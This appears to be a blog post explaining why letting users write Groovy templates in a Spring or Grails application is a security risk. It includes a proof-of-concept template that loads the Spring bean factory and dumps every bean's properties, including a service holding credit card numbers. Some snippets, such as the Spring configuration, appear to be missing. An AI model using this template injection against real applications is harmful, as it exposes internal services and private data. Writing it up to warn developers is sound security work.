However, the goal of this post is to show you why mixing code with templates is generally a bad idea, however powerful the technique may be. As best example, I’ll show you a major security issue with using both Spring and Groovy. I’ve chosen Spring because most of my applications use this framework, and I’m quite confident yours too.
First, we’ll write a simple service, which should never be exposed to the end user. Its goal is to retrieve my list of credit card numbers, in order to be able to choose which one I’ll use to buy my PS3 system.
package com.example;
public class MyPrivateService {
private String[] theCreditCardNumbers;
public String[] getCreditCardNumbers() {
return theCreditCardNumbers;
}
public void setCreditCardNumbers(String[] someCreditCardNumbers) {
theCreditCardNumbers = someCreditCardNumbers;
}
}
And the following Spring configuration :
Here’s a sample Groovy script that shows you how this could be used in your application :
import org.springframework.beans.factory.BeanFactory
import org.springframework.beans.factory.xml.XmlBeanFactory
import org.springframework.core.io.ClassPathResource
// setup Spring Application Context
def beanfactory = new XmlBeanFactory(new ClassPathResource("com/example/applicationContext.xml"))
// print credit card numbers
def creditCardService = beanfactory.getBean("creditCardService")
creditCardService.creditCardNumbers.each {
println it;
}
1114-554112-01115
1151-45454-454490
Imagine my service is for pure internal usage, and that it must NEVER EVER be exposed to the public. However, in some other part of your web application, there’s a front end page which may be customized (themed) thanks to the Groovy template engine. This allows the customer to create his own theme, granted he writes a good looking HTML page. The user could write something as simple as :
You may think that your system is secure, because you only exposed the User bean to your template :
import groovy.text.SimpleTemplateEngine
class ProofOfConceptController {
def index = {
def template = '''
<% def content = new StringBuffer();
def beanfactory = new org.springframework.beans.factory.xml.XmlBeanFactory(
new org.springframework.core.io.FileSystemResource("spring/resources.xml"))
beanfactory.beanDefinitionNames.each {
content << "Bean named $it defined in application context";
content << ""
def bean = beanfactory.getBean(it)
bean.properties.each {
content << "$it"
}
content << ""
}
%>
$content
''';
def binding = ["user" : "cedric"]
def engine = new SimpleTemplateEngine()
["rendered" : engine.createTemplate(template).make(binding)]
}
}
Bean named creditCardService defined in application context
* metaClass=org.codehaus.groovy.grails.commons.metaclass.ExpandoMetaClass@ea7776[class com.example.CreditCardService]
* transactional=true
* creditCardNumbers=[Ljava.lang.String;@4e94a4
* class=class com.example.CreditCardService
Using this Grails controller, the user will be able to browse all beans defined within the traditional ``resources.xml'' Grails file !